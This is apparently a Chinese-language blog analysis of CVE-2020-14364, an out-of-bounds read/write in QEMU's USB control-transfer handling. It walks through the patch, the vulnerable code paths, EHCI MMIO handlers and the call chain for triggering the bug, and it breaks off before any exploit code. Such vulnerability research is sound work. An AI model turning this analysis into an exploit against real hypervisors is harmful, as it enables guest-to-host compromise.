环境搭建

创建usb设备

1
2
qemu-img create -f raw usb.img 32M
mkfs.vfat usb.img

编译qemu

1
2
3
4
5
6
7
git clone git://git.qemu-project.org/qemu.git
cd qemu
git checkout tags/v4.2.1
mkdir -p bin/debug/naive
cd bin/debug/naive
../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror --enable-spice
make

编译完成的二进制文件位于bin/debug/naive/x86_64-softmmu/qemu-system-x86_64,启动脚本如下

1
2
3
4
5
6
7
8
9
10
11
qemu-system-x86_64 \
-m 1G -nographic \
-hda ./rootfs.img \
-kernel ./bzImage \
-append "console=ttyS0 root=/dev/sda rw" \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::2222-:22 \
-usb \
-drive if=none,format=raw,id=disk1,file=./CVE-2020-14364/usb.img \
-device ich9-usb-ehci1,id=usb \ # 添加的usb控制总线
-device usb-storage,drive=disk1 \

漏洞分析

首先看一下CVE中的漏洞描述

An out-of-bounds read/write access flaw was found in the USB emulator of the QEMU in versions before 5.2.0. This issue occurs while processing USB packets from a guest when USBDevice ‘setup_len’ exceeds its ‘data_buf[4096]’ in the do_token_in, do_token_out routines. This flaw allows a guest user to crash the QEMU process, resulting in a denial of service, or the potential execution of arbitrary code with the privileges of the QEMU process on the host.

即在函数中正在处理的USB数据包的setup_len可以超过了4096限制,从而造成越界的读写。看一下patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
diff --git a/hw/usb/core.c b/hw/usb/core.c
index 5abd128..5234dcc 100644 (file)
--- a/hw/usb/core.c
+++ b/hw/usb/core.c
@@ -129,6 +129,7 @@ void usb_wakeup(USBEndpoint *ep, unsigned int stream)
static void do_token_setup(USBDevice *s, USBPacket *p)
{
int request, value, index;
+ unsigned int setup_len;

if (p->iov.size != 8) {
p->status = USB_RET_STALL;
@@ -138,14 +139,15 @@ static void do_token_setup(USBDevice *s, USBPacket *p)
usb_packet_copy(p, s->setup_buf, p->iov.size);
s->setup_index = 0;
p->actual_length = 0;
- s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
- if (s->setup_len > sizeof(s->data_buf)) {
+ setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
+ if (setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
- s->setup_len, sizeof(s->data_buf));
+ setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
+ s->setup_len = setup_len;

request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
@@ -259,26 +261,28 @@ static void do_token_out(USBDevice *s, USBPacket *p)
static void do_parameter(USBDevice *s, USBPacket *p)
{
int i, request, value, index;
+ unsigned int setup_len;

for (i = 0; i < 8; i++) {
s->setup_buf[i] = p->parameter >> (i*8);
}

s->setup_state = SETUP_STATE_PARAM;
- s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
s->setup_index = 0;

request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];

- if (s->setup_len > sizeof(s->data_buf)) {
+ setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
+ if (setup_len > sizeof(s->data_buf)) {
fprintf(stderr,
"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
- s->setup_len, sizeof(s->data_buf));
+ setup_len, sizeof(s->data_buf));
p->status = USB_RET_STALL;
return;
}
+ s->setup_len = setup_len;

if (p->pid == USB_TOKEN_OUT) {
usb_packet_copy(p, s->data_buf, s->setup_len);

可以看到这里的patch是增加了一个临时变量用来检查setup_len是否符合要求,之后在进行赋值。相当于为s->setup_len增加了一个回滚操作。

看一下关键部分的数据结构和代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
/* definition of a USB device */
struct USBDevice {
DeviceState qdev;
USBPort *port;
char *port_path;
char *serial;
void *opaque;
uint32_t flags;

/* Actual connected speed */
int speed;
/* Supported speeds, not in info because it may be variable (hostdevs) */
int speedmask;
uint8_t addr;
char product_desc[32];
int auto_attach;
bool attached;

int32_t state;
uint8_t setup_buf[8];
uint8_t data_buf[4096];
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;

USBEndpoint ep_ctl;
USBEndpoint ep_in[USB_MAX_ENDPOINTS];
USBEndpoint ep_out[USB_MAX_ENDPOINTS];

QLIST_HEAD(, USBDescString) strings;
const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */
const USBDescDevice *device;

int configuration;
int ninterfaces;
int altsetting[USB_MAX_INTERFACES];
const USBDescConfig *config;
const USBDescIface *ifaces[USB_MAX_INTERFACES];
};
/* Structure used to hold information about an active USB packet. */
struct USBPacket {
/* Data fields for use by the driver. */
int pid;
uint64_t id;
USBEndpoint *ep;
unsigned int stream;
QEMUIOVector iov;
uint64_t parameter; /* control transfers */
bool short_not_ok;
bool int_req;
int status; /* USB_RET_* status code */
int actual_length; /* Number of bytes actually transferred */
/* Internal use by the USB layer. */
USBPacketState state;
USBCombinedPacket *combined;
QTAILQ_ENTRY(USBPacket) queue;
QTAILQ_ENTRY(USBPacket) combined_entry;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
static void do_token_in(USBDevice *s, USBPacket *p)
{
int request, value, index;

assert(p->ep->nr == 0);

request = (s->setup_buf[0] << 8) | s->setup_buf[1];
value = (s->setup_buf[3] << 8) | s->setup_buf[2];
index = (s->setup_buf[5] << 8) | s->setup_buf[4];

switch(s->setup_state) {
case SETUP_STATE_ACK:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
usb_device_handle_control(s, p, request, value, index,
s->setup_len, s->data_buf);
if (p->status == USB_RET_ASYNC) {
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->actual_length = 0;
}
break;

case SETUP_STATE_DATA:
if (s->setup_buf[0] & USB_DIR_IN) {
int len = s->setup_len - s->setup_index;// 可控
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);// 越界读
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;

default:
p->status = USB_RET_STALL;
}
}

static void do_token_out(USBDevice *s, USBPacket *p)
{
assert(p->ep->nr == 0);

switch(s->setup_state) {
case SETUP_STATE_ACK:
if (s->setup_buf[0] & USB_DIR_IN) {
s->setup_state = SETUP_STATE_IDLE;
/* transfer OK */
} else {
/* ignore additional output */
}
break;

case SETUP_STATE_DATA:
if (!(s->setup_buf[0] & USB_DIR_IN)) {
int len = s->setup_len - s->setup_index;// 这里可控
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);// 越界写
s->setup_index += len;
if (s->setup_index >= s->setup_len) {
s->setup_state = SETUP_STATE_ACK;
}
return;
}
s->setup_state = SETUP_STATE_IDLE;
p->status = USB_RET_STALL;
break;

default:
p->status = USB_RET_STALL;
}
}
void usb_packet_copy(USBPacket *p, void *ptr, size_t bytes)
{
QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;

assert(p->actual_length >= 0);
assert(p->actual_length + bytes <= iov->size);
switch (p->pid) {// 根据pid来判断是进行读还是写
case USB_TOKEN_SETUP:
case USB_TOKEN_OUT:
iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
case USB_TOKEN_IN:
iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
default:
fprintf(stderr, "%s: invalid pid: %x\n", __func__, p->pid);
abort();
}
p->actual_length += bytes;
}

qemu设备初始化过程

执行qemu-system-x86_64 -device help命令可以查看所有支持的device,这里说一下device的初始化过程,首先在我们启动qemu-system-x86_64的时候如果指定了-device的选项,那么该设备就会在vl.c:main函数中的4372行进行设备的创建与初始化

1
qemu_opts_foreach(qemu_find_opts("device"),device_init_func, NULL, &error_fatal);

上述代码的意思是找到device列表之后,执行device_init_func函数,相关数据结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
enum QemuOptType {
QEMU_OPT_STRING = 0, /* no parsing (use string as-is) */
QEMU_OPT_BOOL, /* on/off */
QEMU_OPT_NUMBER, /* simple number */
QEMU_OPT_SIZE, /* size, accepts (K)ilo, (M)ega, (G)iga, (T)era postfix */
};
typedef struct QemuOptDesc {
const char *name;
enum QemuOptType type;
const char *help;
const char *def_value_str;
} QemuOptDesc;
//include/qemu/option_int.h
struct QemuOpts {// 保存每一个实例的所有参数
char *id;
QemuOptsList *list;
Location loc;
QTAILQ_HEAD(, QemuOpt) head;
QTAILQ_ENTRY(QemuOpts) next;
};
struct QemuOpt {// 保存每一个实例的每一个参数
char *name;
char *str;

const QemuOptDesc *desc;
union {
bool boolean;
uint64_t uint;
} value;

QemuOpts *opts;
QTAILQ_ENTRY(QemuOpt) next;
};
//include/qemu/option.h
struct QemuOptsList {
const char *name;
const char *implied_opt_name;
bool merge_lists; /* Merge multiple uses of option into a single list? */
QTAILQ_HEAD(, QemuOpts) head;
QemuOptDesc desc[];
};

QemuOptsList是用来保存某一类的选项比如deviceqemu维护了一个QemuOptsList的数组该数组中的每个成员都代表了解析出来的一类选项。有些只有一个选择的选项则直接保存在变量中。QemuOptsList保存的大选项中有很多的子选项,一个QemuOpts保存了一个大选项中所有的子选项。每一个子选项都是一个QemuOpt结构体,因此QemuOpts里面实际上保存的是QemuOpt结构的链表。

QemuOpt结构保存的是一个个具体的子选项,以key、value对的方式保存,key是子选项的名称,value是命令行参数指定的子选项的值。

从数据结构中我们可以看到QemuOptsList保存的是QemuOpts的链表,但是QemuOpts已经保存所有的子项了,为什么还需要一个链表呢,这是因为qemu启动参数中可能会存在多个相同的选项比如-deviceqemu可以通过device创建多个不同的设备,每个设备都有自己指定的子项,因此多个QemuOpts是用来保存同一个选项的不同实例的。

函数代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//util/qemu-option.c
#define QTAILQ_FOREACH(var, head, field) \
for ((var) = ((head)->tqh_first); \
(var); \
(var) = ((var)->field.tqe_next))
int qemu_opts_foreach(QemuOptsList *list, qemu_opts_loopfunc func,
void *opaque, Error **errp)
{
Location loc;
QemuOpts *opts;
int rc = 0;

loc_push_none(&loc);
QTAILQ_FOREACH(opts, &list->head, next) {
loc_restore(&opts->loc);
rc = func(opaque, opts, errp);
if (rc) {
break;
}
assert(!errp || !*errp);
}
loc_pop(&loc);
return rc;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//util/qemu-config.c
static QemuOptsList *vm_config_groups[48];
QemuOptsList *qemu_find_opts(const char *group)
{
QemuOptsList *ret;
Error *local_err = NULL;

ret = find_list(vm_config_groups, group, &local_err);
if (local_err) {
error_report_err(local_err);
}

return ret;
}
static QemuOptsList *find_list(QemuOptsList **lists, const char *group,
Error **errp)
{
int i;

for (i = 0; lists[i] != NULL; i++) {
if (strcmp(lists[i]->name, group) == 0)
break;
}
if (lists[i] == NULL) {
error_setg(errp, "There is no option group '%s'", group);
}
return lists[i];
}

那么首先是调用qemu_find_opts函数,从vm_config_groups数组中获取得到device的链表,返回值是一个QemuOptsList的结构体指针,该结构体中保存了所有的device实例。

图片无法显示,请联系作者

接下来就是进入到qemu_opts_foreach,函数通过一个宏定义的for循环对device链表进行遍历操作,也就是依次取出QemuOptsList中保存的QemuOpts链表,对每个链表调用device_init_func函数进行初始化。该链表中保存了一个-device中定义的所有的参数,每一个参数都保存在QemuOpt结构体中。也就是说对参数中每一个-device实例都调用了device_init_func函数进行初始化处理。我们看一下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//vl.c
static int device_init_func(void *opaque, QemuOpts *opts, Error **errp)
{
DeviceState *dev;

dev = qdev_device_add(opts, errp);
if (!dev && *errp) {
error_report_err(*errp);
return -1;
} else if (dev) {
object_unref(OBJECT(dev));
}
return 0;
}

上面分析可以得到传入的参数是一个-device实例,以QemuOpts链表的形式保存所有的参数。调用qdev_device_add函数添加每一个实例。我们看一下第一个处理的实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> p *opts->head ->tqh_first
$36 = {
name = 0x5555566cbc10 "driver",
str = 0x5555566cbbb0 "e1000",
desc = 0x0,
value = {
boolean = false,
uint = 0
},
opts = 0x5555566cbb40,
next = {
tqe_next = 0x5555566cbc50,
tqe_circ = {
tql_next = 0x5555566cbc50,
tql_prev = 0x5555566cbb68
}
}
}
pwndbg> p *opts->head ->tqh_first->next->tqe_next
$37 = {
name = 0x5555566cbc90 "netdev",
str = 0x5555566cbc30 "net0",
desc = 0x0,
value = {
boolean = false,
uint = 0
},
opts = 0x5555566cbb40,
next = {
tqe_next = 0x0,
tqe_circ = {
tql_next = 0x0,
tql_prev = 0x5555566cbbf8
}
}
}

正好对应我们的启动参数-device e1000,netdev=net0,看一下qdev_device_add函数的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
//qdev-monitor.c
DeviceState *qdev_device_add(QemuOpts *opts, Error **errp)
{
DeviceClass *dc;
const char *driver, *path;
DeviceState *dev = NULL;
BusState *bus = NULL;
Error *err = NULL;
bool hide;
// 找到-device中指定驱动的名字,opts中成员driver的值就是设备对应驱动的名字
// 那么接下来的qemu_opt_get函数就是依次处理driver中可能的参数
driver = qemu_opt_get(opts, "driver");
if (!driver) {
error_setg(errp, QERR_MISSING_PARAMETER, "driver");
return NULL;
}

// 根据driver名称获取到对应的DriverClass对象(由ObjectClass转换得到)
// 函数实际上是调用object_class_by_name函数通过全局HASH表获取到对应的TypeInfo
// 接着调用type_initialize初始化对应的type,这过程中会初始化ObjectClass,返回该Class
/* find driver */
dc = qdev_get_device_class(&driver, errp);
if (!dc) {
return NULL;
}

/* find bus */
path = qemu_opt_get(opts, "bus");
if (path != NULL) {
bus = qbus_find(path, errp);
if (!bus) {
return NULL;
}
if (!object_dynamic_cast(OBJECT(bus), dc->bus_type)) {
error_setg(errp, "Device '%s' can't go on %s bus",
driver, object_get_typename(OBJECT(bus)));
return NULL;
}
} else if (dc->bus_type != NULL) {
bus = qbus_find_recursive(sysbus_get_default(), NULL, dc->bus_type);
if (!bus || qbus_is_full(bus)) {
error_setg(errp, "No '%s' bus found for device '%s'",
dc->bus_type, driver);
return NULL;
}
}
hide = should_hide_device(opts);

if ((hide || qdev_hotplug) && bus && !qbus_is_hotpluggable(bus)) {
error_setg(errp, QERR_BUS_NO_HOTPLUG, bus->name);
return NULL;
}

if (hide) {
return NULL;
}

if (!migration_is_idle()) {
error_setg(errp, "device_add not allowed while migrating");
return NULL;
}

/* create device */
// DEVICE将Object结构体转换为DevciceState结构体
dev = DEVICE(object_new(driver));

/* Check whether the hotplug is allowed by the machine */
if (qdev_hotplug && !qdev_hotplug_allowed(dev, &err)) {
/* Error must be set in the machine hook */
assert(err);
goto err_del_dev;
}

if (bus) {
qdev_set_parent_bus(dev, bus);
} else if (qdev_hotplug && !qdev_get_machine_hotplug_handler(dev)) {
/* No bus, no machine hotplug handler --> device is not hotpluggable */
error_setg(&err, "Device '%s' can not be hotplugged on this machine",
driver);
goto err_del_dev;
}

qdev_set_id(dev, qemu_opts_id(opts));

/* set properties */
if (qemu_opt_foreach(opts, set_property, dev, &err)) {
goto err_del_dev;
}

dev->opts = opts;
object_property_set_bool(OBJECT(dev), true, "realized", &err);
if (err != NULL) {
dev->opts = NULL;
goto err_del_dev;
}
return dev;

err_del_dev:
error_propagate(errp, err);
if (dev) {
object_unparent(OBJECT(dev));
object_unref(OBJECT(dev));
}
return NULL;
}

从代码中可以看出,主要的流程就是首先获取drivername,接着看参数中是否指定了bus否则就按照Class中指定的bus,接着调用object_new初始化对象,也就是初始化device的描述符DeviceState结构体,将其添加到bus之后为初始化之后的对象添加相应的属性,device即添加完成。看一下object_new的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
//qom/object.c
Object *object_new(const char *typename)
{
TypeImpl *ti = type_get_by_name(typename);

return object_new_with_type(ti);
}
static Object *object_new_with_type(Type type)
{
Object *obj;

g_assert(type != NULL);
type_initialize(type);

obj = g_malloc(type->instance_size);
object_initialize_with_type(obj, type->instance_size, type);
obj->free = g_free;

return obj;
}
static void object_initialize_with_type(void *data, size_t size, TypeImpl *type)
{
Object *obj = data;

type_initialize(type);

g_assert(type->instance_size >= sizeof(Object));
g_assert(type->abstract == false);
g_assert(size >= type->instance_size);

memset(obj, 0, type->instance_size);
obj->class = type->class;
object_ref(obj);
obj->properties = g_hash_table_new_full(g_str_hash, g_str_equal,
NULL, object_property_free);
object_init_with_type(obj, type);
object_post_init_with_type(obj, type);
}
static void object_init_with_type(Object *obj, TypeImpl *ti)
{
if (type_has_parent(ti)) {
object_init_with_type(obj, type_get_parent(ti));// 递归初始化父Object
}

if (ti->instance_init) {// 调用对应的初始化函数
ti->instance_init(obj);
}
}

从代码逻辑中我们可以看到,函数首先从全局Hash表中得到TypeImpl结构体,然后在函数object_new_with_type中根据type->instance_size分配堆块的大小,该大小就是DeciceState结构体的大小。堆块分配完毕之后在object_initialize_with_type-->object_init_with_type函数递归的初始化父Object,并调用对应的初始化函数。至此一个device的实例创建完成。

usb设备读写函数

首先我们看一下所有的设备,可以发现有两个是usb control

1
2
3
4
5
6
7
8
9
10
00:01.2 USB controller: Intel Corporation 82371SB PIIX3 USB [Natoma/Triton II] (rev 01) (prog-if 0)
Subsystem: Red Hat, Inc QEMU Virtual Machine
Flags: bus master, fast devsel, latency 0, IRQ 11
I/O ports at c040 [size=32]
Kernel driver in use: uhci_hcd
00:04.0 USB controller: Intel Corporation 82801I (ICH9 Family) USB2 EHCI Controller #1 (rev 03) (p)
Subsystem: Red Hat, Inc QEMU Virtual Machine
Flags: bus master, fast devsel, latency 0, IRQ 10
Memory at febb1000 (32-bit, non-prefetchable) [size=4K]
Kernel driver in use: ehci-pci

从启动脚本中对于usb设备的挂在来看(ehci),这里00:04.0是我们创建的usb设备。这里首先看一下usb的控制器类型

  • OHCI(Open Host Controller Interface)是支持USB1.1的标准,但它不仅仅是针对USB,还支持其他的一些接口,比如它还支持Apple的火线(Firewire,IEEE 1394)接口。与UHCI相比,OHCI的硬件复杂,硬件做的事情更多,所以实现对应的软件驱动的任务,就相对较简单。主要用于非x86的USB,如扩展卡、嵌入式开发板的USB主控。
  • UHCI(Universal Host Controller Interface),是Intel主导的对USB1.0、1.1的接口标准,与OHCI不兼容。UHCI的软件驱动的任务重,需要做得比较复杂,但可以使用较便宜、较简单的硬件的USB控制器。Intel和VIA使用UHCI,而其余的硬件提供商使用OHCI。
  • EHCI(Enhanced Host Controller Interface),是Intel主导的USB2.0的接口标准。EHCI仅提供USB2.0的高速功能,而依靠UHCI或OHCI来提供对全速(full-speed)或低速(low-speed)设备的支持。
  • xHCI(eXtensible Host Controller Interface),是最新最火的USB3.0的接口标准,它在速度、节能、虚拟化等方面都比前面3中有了较大的提高。xHCI支持所有种类速度的USB设备(USB 3.0 SuperSpeed, USB 2.0 Low-, Full-, and High-speed, USB 1.1 Low- and Full-speed)。xHCI的目的是为了替换前面3中(UHCI/OHCI/EHCI)。

这里启动脚本中选择的是EHCI,因此这里的初始化函数为usb_ehci_pci_init(这里的函数通过直接搜索usb函数得到)。同时这里我们对该函数下断点gdb qemu-system-x86_64,其中gdb_dbg如下

1
2
3
4
5
add-symbol-file qemu-system-x86_64 0x555555554000
set args -m 1G -nographic -hda ./rootfs.img -kernel ./bzImage -append "console=ttyS0 root=/dev/sda
rw" -device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::2222-:22 -usb -drive if=none,form
at=raw,id=disk1,file=./usb.img -device ich9-usb-ehci1,id=usb -device usb-storage,drive=disk1
b usb_ehci_pci_init

此时的系统调用栈如下

图片无法显示,请联系作者

这里我们可以看到object_new函数中初始化了我们指定的usb bus:ich9-usb-ehci1。此时也可以得到usb-ehci的初始化函数为usb_ehci_pci_init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//hw/usb/hcd-ehci-pci.c
static void usb_ehci_pci_init(Object *obj)
{
DeviceClass *dc = OBJECT_GET_CLASS(DeviceClass, obj, TYPE_DEVICE);
EHCIPCIState *i = PCI_EHCI(obj);
EHCIState *s = &i->ehci;

s->caps[0x09] = 0x68; /* EECP */

s->capsbase = 0x00;
s->opregbase = 0x20;
s->portscbase = 0x44;
s->portnr = NB_PORTS;

if (!dc->hotpluggable) {
s->companion_enable = true;
}

usb_ehci_init(s, DEVICE(obj));
}

看到这里将opreg的基地址opregbase设置为0x20,对这块内存读写即对oprg的内容进行读写。opreg的内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
union {
uint32_t opreg[0x44/sizeof(uint32_t)];
struct {
uint32_t usbcmd;
uint32_t usbsts;
uint32_t usbintr;
uint32_t frindex;
uint32_t ctrldssegment;
uint32_t periodiclistbase;
uint32_t asynclistaddr;
uint32_t notused[9];
uint32_t configflag;
};
};

实际上操作内存的函数总共有三种ehci_caps_read/write, echi_opreg_read/write, echi_port_read/write三种,这三个函数访问的是同一个内存,但是访问的基地址和范围是不一样的。caps的基地址定义在capsbase,对应的port的基地址则定义在portscbase

函数设置完相应的成员变量之后就会调用usb_echi_init函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void usb_ehci_init(EHCIState *s, DeviceState *dev)
{
/* 2.2 host controller interface version */
s->caps[0x00] = (uint8_t)(s->opregbase - s->capsbase);
s->caps[0x01] = 0x00;
s->caps[0x02] = 0x00;
s->caps[0x03] = 0x01; /* HC version */
s->caps[0x04] = s->portnr; /* Number of downstream ports */
s->caps[0x05] = 0x00; /* No companion ports at present */
s->caps[0x06] = 0x00;
s->caps[0x07] = 0x00;
s->caps[0x08] = 0x80; /* We can cache whole frame, no 64-bit */
s->caps[0x0a] = 0x00;
s->caps[0x0b] = 0x00;

QTAILQ_INIT(&s->aqueues);
QTAILQ_INIT(&s->pqueues);
usb_packet_init(&s->ipacket);

memory_region_init(&s->mem, OBJECT(dev), "ehci", MMIO_SIZE);
memory_region_init_io(&s->mem_caps, OBJECT(dev), &ehci_mmio_caps_ops, s,
"capabilities", CAPA_SIZE);
memory_region_init_io(&s->mem_opreg, OBJECT(dev), &ehci_mmio_opreg_ops, s,
"operational", s->portscbase);
memory_region_init_io(&s->mem_ports, OBJECT(dev), &ehci_mmio_port_ops, s,
"ports", 4 * s->portnr);

memory_region_add_subregion(&s->mem, s->capsbase, &s->mem_caps);
memory_region_add_subregion(&s->mem, s->opregbase, &s->mem_opreg);
memory_region_add_subregion(&s->mem, s->opregbase + s->portscbase,
&s->mem_ports);
}

函数设置完相应的成员变量之后就注册了caps,opreg,port的读写函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static const MemoryRegionOps ehci_mmio_caps_ops = {
.read = ehci_caps_read,
.write = ehci_caps_write,
.valid.min_access_size = 1,
.valid.max_access_size = 4,
.impl.min_access_size = 1,
.impl.max_access_size = 1,
.endianness = DEVICE_LITTLE_ENDIAN,
};

static const MemoryRegionOps ehci_mmio_opreg_ops = {
.read = ehci_opreg_read,
.write = ehci_opreg_write,
.valid.min_access_size = 4,
.valid.max_access_size = 4,
.endianness = DEVICE_LITTLE_ENDIAN,
};

static const MemoryRegionOps ehci_mmio_port_ops = {
.read = ehci_port_read,
.write = ehci_port_write,
.valid.min_access_size = 4,
.valid.max_access_size = 4,
.endianness = DEVICE_LITTLE_ENDIAN,
};

这里我们看一下opreg的读写函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static uint64_t ehci_opreg_read(void *ptr, hwaddr addr,
unsigned size)
{
EHCIState *s = ptr;
uint32_t val;

switch (addr) {
case FRINDEX:
/* Round down to mult of 8, else it can go backwards on migration */
val = s->frindex & ~7;
break;
default:
val = s->opreg[addr >> 2];
}

trace_usb_ehci_opreg_read(addr + s->opregbase, addr2str(addr), val);
return val;
}

这里传入的是三个参数,第一个参数是EHCIState结构体指针,第二个参数是addr即偏移,当执行语句\*((uint64_t\*)(mmio_mem + 0x20))的时候这里实际上传入的addr0,因为之前设置的opregbase=0x20。第三个参数就是size,不过这里并没有使用到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
static void ehci_opreg_write(void *ptr, hwaddr addr,
uint64_t val, unsigned size)
{
EHCIState *s = ptr;
uint32_t *mmio = s->opreg + (addr >> 2);
uint32_t old = *mmio;
int i;

trace_usb_ehci_opreg_write(addr + s->opregbase, addr2str(addr), val);

switch (addr) {
case USBCMD:
if (val & USBCMD_HCRESET) {
ehci_reset(s);
val = s->usbcmd;
break;
}

/* not supporting dynamic frame list size at the moment */
if ((val & USBCMD_FLS) && !(s->usbcmd & USBCMD_FLS)) {
fprintf(stderr, "attempt to set frame list size -- value %d\n",
(int)val & USBCMD_FLS);
val &= ~USBCMD_FLS;
}

if (val & USBCMD_IAAD) {
/*
* Process IAAD immediately, otherwise the Linux IAAD watchdog may
* trigger and re-use a qh without us seeing the unlink.
*/
s->async_stepdown = 0;
qemu_bh_schedule(s->async_bh);
trace_usb_ehci_doorbell_ring();
}

if (((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & val) !=
((USBCMD_RUNSTOP | USBCMD_PSE | USBCMD_ASE) & s->usbcmd)) {
if (s->pstate == EST_INACTIVE) {
SET_LAST_RUN_CLOCK(s);
}
s->usbcmd = val; /* Set usbcmd for ehci_update_halt() */
ehci_update_halt(s);
s->async_stepdown = 0;
qemu_bh_schedule(s->async_bh);
}
break;

case USBSTS:
val &= USBSTS_RO_MASK; // bits 6 through 31 are RO
ehci_clear_usbsts(s, val); // bits 0 through 5 are R/WC
val = s->usbsts;
ehci_update_irq(s);
break;

case USBINTR:
val &= USBINTR_MASK;
if (ehci_enabled(s) && (USBSTS_FLR & val)) {
qemu_bh_schedule(s->async_bh);
}
break;

case FRINDEX:
val &= 0x00003fff; /* frindex is 14bits */
s->usbsts_frindex = val;
break;

case CONFIGFLAG:
val &= 0x1;
if (val) {
for(i = 0; i < NB_PORTS; i++)
handle_port_owner_write(s, i, 0);
}
break;

case PERIODICLISTBASE:
if (ehci_periodic_enabled(s)) {
fprintf(stderr,
"ehci: PERIODIC list base register set while periodic schedule\n"
" is enabled and HC is enabled\n");
}
break;

case ASYNCLISTADDR:
if (ehci_async_enabled(s)) {
fprintf(stderr,
"ehci: ASYNC list address register set while async schedule\n"
" is enabled and HC is enabled\n");
}
break;
}

*mmio = val;
trace_usb_ehci_opreg_change(addr + s->opregbase, addr2str(addr),
*mmio, old);
}

漏洞触发

qemu启动的时候对do_token_setup下断点,gdb_dbg如下

1
2
3
add-symbol-file qemu-system-x86_64 0x555555554000
set args -m 1G -nographic -hda ./rootfs.img -kernel ./bzImage -append "console=ttyS0 root=/dev/sda rw" -device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::2222-:22 -usb -drive if=none,forma1
b do_token_setup

我们可以看到如下的函数调用链

图片无法显示,请联系作者

也就是如下的函数调用链

1
2
3
4
5
6
7
8
do_token_setup
usb_process_one
usb_handle_packet
ehci_execute
ehci_state_execute
ehci_advance_state
ehci_advance_async_state
ehci_work_bh

但是这里存在一个问题就是当我们对ehci_advance_async_state函数下了断点之后,其会多次断在这个函数上,因此我们选择另一个函数调用链,对ehci_advance_state函数进行交叉引用,我们发现ehci_advance_periodic_state函数也会调用ehci_advance_state函数,因此选择的函数调用链如下

ehci_work_bh->ehci_advance_periodic_state->ehci_advance_state->ehci_state_execute->ehci_execute->usb_handle_packet->usb_process_one->do_token_setup

我们接下来依次分析一下函数触发的条件首先是ehci_work_bh函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
